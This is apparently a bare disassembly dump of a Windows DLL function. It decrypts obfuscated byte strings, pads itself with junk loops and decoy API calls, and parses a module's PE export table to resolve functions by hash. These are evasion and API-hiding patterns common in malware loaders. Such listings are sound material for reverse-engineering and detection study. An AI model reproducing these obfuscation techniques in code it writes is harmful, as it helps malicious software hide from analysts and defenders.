jmp 0x1001de2c
and dword [ebp - 0x244], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x244], eax
je 0x1001de43
mov dword [ebp - 0x254], 1
jmp 0x1001de4a
and dword [ebp - 0x254], 0
mov eax, dword [ebp - 0x24c]
cmp eax, dword [ebp - 0x254]
jne 0x1001de64
mov dword [ebp - 0x25c], 1
jmp 0x1001de6b
and dword [ebp - 0x25c], 0
mov eax, dword [ebp - 0xc4]
add eax, dword [ebp - 0x25c]
je 0x1001ded8
mov dword [ebp - 0x458], 5
mov dword [ebp - 0x484], 0xfffffff9
mov dword [ebp - 0x468], 0xfffffff9
mov dword [ebp - 0x4c0], 0xffffffff
mov dword [ebp - 0x4bc], 0xffffffff
mov dword [ebp - 0x4b8], 0xffffffff
mov dword [ebp - 0x4b4], 0xffffffff
mov dword [ebp - 0x48c], 0xfffffffd
mov eax, dword [ebp - 0x264]
dec eax
mov dword [ebp - 0x264], eax
jmp 0x1001df0c
mov byte [ebp - 0x75], 0
movzx eax, byte [ebp - 0x75]
test eax, eax
je 0x1001deec
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x1001df0c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
jmp 0x1001dd3a
cmp dword [0x1007e148], 0
jne 0x1001e557
mov dword [ebp - 0x410], 0x308b
lea eax, [ebp - 0x410]
push eax
call fcn.1001711a
pop ecx
mov dword [ebp - 0x274], eax
mov byte [ebp - 0xf0], 1
mov byte [ebp - 0xef], 0xe0
mov byte [ebp - 0xee], 0
mov byte [ebp - 0xed], 0x22
mov byte [ebp - 0xec], 2
mov byte [ebp - 0xeb], 0x25
mov byte [ebp - 0xea], 0xf3
mov byte [ebp - 0xe9], 2
mov byte [ebp - 0xe8], 0x33
mov byte [ebp - 0xe7], 5
mov byte [ebp - 0xe6], 6
mov byte [ebp - 0xe5], 0xb
mov byte [ebp - 0xe4], 0xa
mov byte [ebp - 0xe3], 9
mov byte [ebp - 0xe2], 0x16
mov byte [ebp - 0xe1], 4
mov byte [ebp - 0xe0], 0xb
mov byte [ebp - 0xdf], 6
mov byte [ebp - 0xde], 0x16
mov byte [ebp - 0xdd], 3
mov byte [ebp - 0xdc], 0x25
mov byte [ebp - 0xdb], 7
mov byte [ebp - 0xda], 0x3f
mov byte [ebp - 0xd9], 8
mov byte [ebp - 0xd8], 6
mov byte [ebp - 0xd7], 0xc
mov byte [ebp - 0xd6], 0x38
mov byte [ebp - 0xd5], 0xa
mov byte [ebp - 0xd4], 0x12
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xf0]
and eax, 0x85
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xf0]
or ecx, 0x85
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xf0]
mov byte [ebp + eax - 0x3f4], cl
mov dword [ebp - 0x1c], 2
and dword [ebp - 0x1a0], 0
jmp 0x1001e05c
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x1d
jae 0x1001e112
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xf0]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x1c], eax
jne 0x1001e0a6
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0xf0]
inc eax
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0xf0]
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x1c], eax
jmp 0x1001e054
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1a0]
movzx eax, byte [ebp + eax - 0xf2]
movsx eax, byte [ebp + eax - 0x3f4]
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0xef]
and ecx, eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1a0]
movzx eax, byte [ebp + eax - 0xf2]
movsx eax, byte [ebp + eax - 0x3f4]
mov edx, dword [ebp - 0x1c]
movzx edx, byte [ebp + edx - 0xef]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0xf0]
mov byte [ebp + eax - 0x3f4], dl
and dword [ebp - 0x1a0], 0
jmp 0x1001e054
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x3f4], 0
lea eax, [ebp - 0x3f4]
push eax
lea ecx, [ebp - 0x570]
call fcn.10022eba
mov dword [ebp - 0x388], eax
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 4], 6
mov edx, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x3d0]
call fcn.100110ce
mov dword [0x1007e148], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x570]
call fcn.10022ee9
mov dword [ebp - 0x26c], 0x907
mov dword [ebp - 0x3f8], str.ndach_emnkb_fgnfja_zzhb_hfv
cmp dword [ebp - 0x26c], 0x9f4
jle 0x1001e26f
and dword [ebp - 0x114], 0
jmp 0x1001e1aa
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x3379
jge 0x1001e26f
and dword [ebp - 0x198], 0
jmp 0x1001e1d0
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x6053
jge 0x1001e26a
and dword [ebp - 0x168], 0
jmp 0x1001e1f6
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x631b
jge 0x1001e265
mov eax, dword [ebp - 0x114]
cdq
idiv dword [ebp - 0x198]
mov eax, edx
cdq
idiv dword [ebp - 0x168]
mov eax, edx
cdq
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], edx
push dword [ebp - 0x3b4]
push dword [ebp - 0x3b8]
lea ecx, [ebp - 0x5a0]
call fcn.10001af4
pop ecx
pop ecx
mov dword [ebp - 0x390], eax
mov ecx, dword [ebp - 0x390]
call fcn.10002e48
push eax
call fcn.10048e5f
pop ecx
lea ecx, [ebp - 0x5a0]
call fcn.10002e3e
jmp 0x1001e1e9
jmp 0x1001e1c3
jmp 0x1001e19d
and dword [ebp - 0x184], 0
jmp 0x1001e285
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0xe
jae 0x1001e29e
mov eax, dword [ebp - 0x184]
mov byte [ebp + eax - 0x3f4], 0
jmp 0x1001e278
mov dword [ebp - 4], 7
cmp dword [ebp - 0x26c], 0x8dd
jge 0x1001e2bd
push dword [ebp - 0x3f8]
call fcn.10048e5f
pop ecx
jmp 0x1001e2d9
or dword [ebp - 4], 0xffffffff
jmp 0x1001e2e3
mov byte [ebp - 0x110], 0xd
mov byte [ebp - 0x10f], 2
mov byte [ebp - 0x10e], 0xa
mov byte [ebp - 0x10d], 0x32
mov byte [ebp - 0x10c], 0xc
mov byte [ebp - 0x10b], 0x16
mov byte [ebp - 0x10a], 0xb
mov byte [ebp - 0x109], 0
mov byte [ebp - 0x108], 0
mov byte [ebp - 0x107], 0x30
mov byte [ebp - 0x106], 9
mov byte [ebp - 0x105], 0x20
mov byte [ebp - 0x104], 8
mov byte [ebp - 0x103], 0xc
mov byte [ebp - 0x102], 3
mov byte [ebp - 0x101], 0xe
mov byte [ebp - 0x100], 5
mov byte [ebp - 0xff], 4
mov byte [ebp - 0xfe], 4
mov byte [ebp - 0xfd], 0x11
mov byte [ebp - 0xfc], 1
mov byte [ebp - 0xfb], 6
mov byte [ebp - 0xfa], 7
mov byte [ebp - 0xf9], 0
mov byte [ebp - 0xf8], 6
mov byte [ebp - 0xf7], 0x22
mov byte [ebp - 0xf6], 2
mov byte [ebp - 0xf5], 0x35
mov byte [ebp - 0xf4], 3
mov byte [ebp - 0xf3], 0xaf
mov byte [ebp - 0xf2], 0x37
mov byte [ebp - 0xf1], 0x4e
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x110]
and eax, 0x55
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x110]
or ecx, 0x55
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x110]
mov byte [ebp + eax - 0x420], cl
mov dword [ebp - 0x20], 2
and dword [ebp - 0x170], 0
jmp 0x1001e414
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x20
jae 0x1001e4ca
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x110]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x1001e45e
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x110]
inc eax
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x110]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
jmp 0x1001e40c
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x170]
movzx eax, byte [ebp + eax - 0x112]
movsx eax, byte [ebp + eax - 0x420]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x10f]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x170]
movzx eax, byte [ebp + eax - 0x112]
movsx eax, byte [ebp + eax - 0x420]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x10f]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x110]
mov byte [ebp + eax - 0x420], dl
and dword [ebp - 0x170], 0
jmp 0x1001e40c
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x420], 0
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x5d0]
call fcn.10022eba
mov dword [ebp - 0x398], eax
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 4], 9
mov edx, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x3d8]
call fcn.100110ce
mov dword [0x100808fc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5d0]
call fcn.10022ee9
and dword [ebp - 0x118], 0
jmp 0x1001e53e
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xf
jae 0x1001e557
mov eax, dword [ebp - 0x118]
mov byte [ebp + eax - 0x420], 0
jmp 0x1001e531
mov eax, dword [0x1007e148]
cmp eax, dword [ebp - 0x164]
je 0x1001e571
mov eax, dword [0x100808fc]
cmp eax, dword [ebp - 0x164]
jne 0x1001e589
mov ecx, dword [ebp + 0xc]
call fcn.10002e48
push eax
push dword [ebp + 8]
call fcn.10017146
pop ecx
pop ecx
jmp 0x1001f3f6
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x374], 0x5395f87b
mov dword [ebp - 0x27c], 0x5cb
mov dword [ebp - 0x3dc], str.mwivc_pqb_mnvyizn_yuht_yqucz_toph_wlq_pwismm_kwubxatgt_zpyzk_iidunzp_oibxasui_yqaleayo_lhju
cmp dword [ebp - 0x27c], 0x7b8
jle 0x1001e6f0
push 0x73f
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
and dword [ebp - 0x11c], 0
jmp 0x1001e5df
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x5b1d
jge 0x1001e6d9
and dword [ebp - 0x124], 0
jmp 0x1001e605
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x2b05
jge 0x1001e6d4
and dword [ebp - 0x12c], 0
jmp 0x1001e62b
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x4b1
jge 0x1001e6cf
and dword [ebp - 0x134], 0
jmp 0x1001e651
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x6f71
jge 0x1001e6ca
mov eax, dword [ebp - 0x11c]
cdq
idiv dword [ebp - 0x124]
imul edx, dword [ebp - 0x12c]
mov eax, edx
cdq
idiv dword [ebp - 0x134]
mov eax, edx
cdq
mov dword [ebp - 0x3c4], eax
mov dword [ebp - 0x3c0], edx
push dword [ebp - 0x3c0]
push dword [ebp - 0x3c4]
lea ecx, [ebp - 0x588]
call fcn.10001af4
pop ecx
pop ecx
mov dword [ebp - 0x3a4], eax
mov ecx, dword [ebp - 0x3a4]
call fcn.10002e48
push eax
call fcn.10048e5f
pop ecx
lea ecx, [ebp - 0x588]
call fcn.10002e3e
jmp 0x1001e644
jmp 0x1001e61e
jmp 0x1001e5f8
jmp 0x1001e5d2
push 0
push 0x12a1
push 0xc99
push 0x7dd
call dword [sym.imp.GDI32.dll_MoveToEx]
mov dword [ebp - 0x13c], 0
jmp 0x1001e709
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 1
jge 0x1001e722
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0x34], 0x9532bb11
jmp 0x1001e6fc
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x27c], 0x293
jge 0x1001e741
push dword [ebp - 0x3dc]
call fcn.10048e5f
pop ecx
jmp 0x1001e75d
or dword [ebp - 4], 0xffffffff
jmp 0x1001e767
mov dword [ebp - 0x30], 0x1c
jmp 0x1001e777
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffff2
jne 0x1001e7c9
mov dword [ebp - 0x144], 0xfffffffb
mov dword [ebp - 0x144], 0
jmp 0x1001e7a0
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
jg 0x1001e7c7
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x1001e7c5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
jmp 0x1001e793
jmp 0x1001e770
mov dword [ebp - 0x30], 0
jmp 0x1001e7d9
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jl 0x1001ea95
mov dword [ebp - 0x24], 0xc7af5af8
mov dword [ebp - 0x154], 0xd42ca8cd
mov dword [ebp - 0x35c], 8
mov dword [ebp - 0x2bc], 7
mov dword [ebp - 0x14c], 0
jmp 0x1001e821
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 1
jge 0x1001e83d
mov eax, dword [ebp - 0x14c]
mov dword [ebp + eax*4 - 0x3b0], 0xdd4d14b7
jmp 0x1001e814
mov byte [ebp - 0x51], 0
movzx eax, byte [ebp - 0x51]
test eax, eax
je 0x1001e851
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 0x24], 0
jmp 0x1001e861
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jg 0x1001ea90
mov dword [ebp - 0x2cc], 1
mov dword [ebp - 0x154], 0xfffffffd
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x34]
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x34]
mov dword [ebp - 0x4a0], eax
mov eax, 0x9583
cmp eax, 0x589d
jne 0x1001e8b1
mov dword [ebp - 0x284], 1
jmp 0x1001e8b8
and dword [ebp - 0x284], 0
cmp dword [ebp - 0x284], 0xfffffffc
jg 0x1001e8cd
mov dword [ebp - 0x28c], 1
jmp 0x1001e8d4
and dword [ebp - 0x28c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x34]
imul eax, dword [ebp - 0x28c]
cmp eax, 1
jge 0x1001e8f6
mov dword [ebp - 0x294], 1
jmp 0x1001e8fd
and dword [ebp - 0x294], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x34]
cmp dword [ebp - 0x294], eax
jne 0x1001e921
mov eax, 0x6200
test eax, eax
jne 0x1001e921
and dword [ebp - 0x29c], 0
jmp 0x1001e92b
mov dword [ebp - 0x29c], 1
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x29c], eax
jl 0x1001e942
mov dword [ebp - 0x2a4], 1
jmp 0x1001e949
and dword [ebp - 0x2a4], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x34]
cmp dword [ebp - 0x2a4], eax
jle 0x1001e964
mov dword [ebp - 0x1c0], 1
jmp 0x1001e96b
and dword [ebp - 0x1c0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c0]
mov dword [ebp + eax - 0x3b0], ecx
mov eax, dword [ebp - 0x35c]
cmp dword [ebp - 0x1c0], eax
jne 0x1001e998
mov dword [ebp - 0x2ac], 1
jmp 0x1001e99f
and dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x2ac], eax
jg 0x1001e9b6
mov dword [ebp - 0x2b4], 1
jmp 0x1001e9bd
and dword [ebp - 0x2b4], 0
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0
jne 0x1001e9e8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x34], 0
jne 0x1001e9e8
and dword [ebp - 0x2c4], 0
jmp 0x1001e9f2
mov dword [ebp - 0x2c4], 1
cmp dword [ebp - 0x2c4], 1
jb 0x1001ea07
mov dword [ebp - 0x364], 1
jmp 0x1001ea0e
and dword [ebp - 0x364], 0
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x4c4], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x34], 1
jne 0x1001ea39
mov dword [ebp - 0x36c], 1
jmp 0x1001ea40
and dword [ebp - 0x36c], 0
mov dword [ebp - 0x2cc], 0xffffffff
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x34]
cmp eax, dword [ebp - 0x154]
jg 0x1001ea71
mov dword [ebp - 0x2d4], 1
jmp 0x1001ea78
and dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x34]
sub eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x374], eax
jmp 0x1001e85a
jmp 0x1001e7d2
mov eax, dword [ebp + 8]
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0
je 0x1001f0e3
mov eax, dword [ebp - 0x15c]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1001f0e3
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x15c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xb4], ecx
mov eax, dword [ebp - 0xb4]
cmp dword [eax], 0x4550
jne 0x1001f0e3
mov eax, dword [ebp - 0xb4]
cmp dword [eax + 0x74], 0
jbe 0x1001f0e3
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb4]
cmp dword [ecx + eax + 0x78], 0
je 0x1001f0e3
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa4], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0xa4]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x50], edx
mov eax, 0xffff
mov word [ebp - 0x2c], ax
or dword [ebp - 0x9c], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x1001eb5d
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1001eb58
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x2c], ax
jmp 0x1001ed20
mov eax, dword [0x100808b8]
and eax, 1
jne 0x1001eb94
mov eax, dword [0x100808b8]
or eax, 1
mov dword [0x100808b8], eax
mov dword [ebp - 4], 0xc
mov ecx, 0x10080874
call fcn.10022f59
push 0x10061933
call fcn.10048e35
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x1007e14c]
test eax, eax
je 0x1001ec00
mov ecx, 0x10080874
call fcn.1002301e
movzx eax, al
test eax, eax
jne 0x1001ec00
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x2dc]
push eax
mov ecx, 0x10080874
call fcn.10023027
lea eax, [ebp - 0x480]
push eax
mov ecx, 0x10080874
call fcn.10023010
push eax
lea ecx, [ebp - 0x2dc]
call fcn.10022f46
movzx eax, al
test eax, eax
je 0x1001ec00
lea ecx, [ebp - 0x2dc]
call fcn.1002303c
mov eax, dword [eax + 4]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0xffffffff
jne 0x1001ed20
mov ecx, 0x10080874
call fcn.10023080
mov ecx, dword [ebp - 0x50]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x10080874
call fcn.10023084
and dword [ebp - 0xa8], 0
jmp 0x1001ec3e
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0xa8]
cmp ecx, dword [eax + 0x18]
jae 0x1001ed20
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0xa4]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0xa8]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0
je 0x1001ed1b
mov eax, dword [ebp - 0x2e4]
mov ecx, dword [ebp - 0xa4]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x528]
call fcn.10022eba
mov dword [ebp - 4], 0xd
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x528]
call fcn.100110ce
mov dword [ebp - 0x2ec], eax
movzx eax, byte [0x1007e14c]
test eax, eax
je 0x1001ecc9
mov ecx, 0x10080874
call fcn.1002301e
movzx eax, al
test eax, eax
jne 0x1001ece9
lea eax, [ebp - 0x2ec]
push eax
mov ecx, 0x10080874
call fcn.10023042
mov ecx, dword [ebp - 0xa8]
mov dword [eax], ecx
mov byte [0x1007e14c], 1
cmp dword [ebp - 0x9c], 0xffffffff
jne 0x1001ed0c
mov eax, dword [ebp - 0x2ec]
cmp eax, dword [ebp - 0x164]
jne 0x1001ed0c
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x9c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x528]
call fcn.10022ee9
jmp 0x1001ec31
cmp dword [ebp + 0x10], 0
jne 0x1001ed49
cmp dword [ebp - 0x9c], 0xffffffff
je 0x1001ed49
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0xa4]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x9c]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x2c], ax
movzx eax, word [ebp - 0x2c]
cmp eax, 0xffff
je 0x1001f0e3
movzx eax, word [ebp - 0x2c]
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0xa4]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0x37c], eax
mov eax, dword [ebp - 0x37c]
mov ecx, dword [ebp - 0xa4]
add ecx, dword [eax]
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x50]
jbe 0x1001f0db
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0x50]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x48], edx
jae 0x1001f0db
mov eax, dword [0x100808b8]
and eax, 2
jne 0x1001eddc
mov eax, dword [0x100808b8]
or eax, 2
mov dword [0x100808b8], eax
mov dword [ebp - 4], 0xe
push 0x3e63
call fcn.1002ea19
pop ecx
mov byte [0x10080850], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x40], 1
mov byte [ebp - 0x3f], 0xc9
mov byte [ebp - 0x3e], 2
mov byte [ebp - 0x3d], 0
mov byte [ebp - 0x3c], 3
mov byte [ebp - 0x3b], 0x2b
mov byte [ebp - 0x3a], 0xc4
mov byte [ebp - 0x39], 0x61
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x37], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x40]
and eax, 0xa5
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x40]
or ecx, 0xa5
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x40]
mov byte [ebp + eax - 0x74], cl
mov dword [ebp - 0x18], 2
and dword [ebp - 0xb8], 0
jmp 0x1001ee4e
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xa
jae 0x1001ef02
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x40]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x1001ee8f
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x40]
inc eax
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x40]
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x18], eax
jmp 0x1001ee46
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xb8]
movzx eax, byte [ebp + eax - 0x42]
movsx eax, byte [ebp + eax - 0x74]
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ebp + ecx - 0x3f]
and ecx, eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xb8]
movzx eax, byte [ebp + eax - 0x42]
movsx eax, byte [ebp + eax - 0x74]
mov edx, dword [ebp - 0x18]
movzx edx, byte [ebp + edx - 0x3f]
and edx, eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xb8]
movzx eax, byte [ebp + eax - 0x42]
movsx eax, byte [ebp + eax - 0x74]
mov esi, dword [ebp - 0x18]
movzx ebx, byte [ebp + esi - 0x3f]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x40]
mov byte [ebp + eax - 0x74], bl
and dword [ebp - 0xb8], 0
jmp 0x1001ee46
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x74], 0
mov eax, dword [0x100808b8]
and eax, 4
jne 0x1001ef48
mov eax, dword [0x100808b8]
or eax, 4
mov dword [0x100808b8], eax
mov dword [ebp - 4], 0xf
lea eax, [ebp - 0x74]
push eax
mov ecx, 0x10080838
call fcn.10022eba
push 0x10061924
call fcn.10048e35
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x16c], 0
jmp 0x1001ef5e
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 4
jae 0x1001ef74
mov eax, dword [ebp - 0x16c]
mov byte [ebp + eax - 0x74], 0
jmp 0x1001ef51
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x7c], eax
movsx eax, byte [0x10080850]
mov ecx, dword [ebp - 0x7c]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x1001ef94
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
jmp 0x1001ef7a
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
push dword [ebp - 0x7c]
push dword [ebp - 0x48]
lea ecx, [ebp - 0x4ec]
call fcn.100254bf
mov dword [ebp - 4], 0x10
push 0x10080838
lea ecx, [ebp - 0x4ec]
call fcn.10022ef3
lea eax, [ebp - 0x4a8]
push eax
lea ecx, [ebp - 0x4ec]
call fcn.10022f18
push dword [eax]
lea eax, [ebp - 0x488]
push eax
lea ecx, [ebp - 0x4ec]
call fcn.10022f04
push dword [eax]
lea ecx, [ebp - 0x540]
call fcn.100254e8
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x540]
push eax
call fcn.100129d5
pop ecx
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
je 0x1001f08a
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x510]
call fcn.10022eba
mov byte [ebp - 4], 0x12
lea edx, [ebp - 0x384]
lea ecx, [ebp - 0x510]
call fcn.10011248
movzx eax, al
test eax, eax
je 0x1001f05d
push 0
push dword [ebp - 0x384]
push 0
push dword [ebp - 0x1b4]
call fcn.1001ca37
add esp, 0x10
mov dword [ebp - 0x48], eax
jmp 0x1001f079
push 1
push 0
lea eax, [ebp - 0x510]
push eax
push dword [ebp - 0x1b4]
call fcn.1001ca37
add esp, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x510]
call fcn.10022ee9
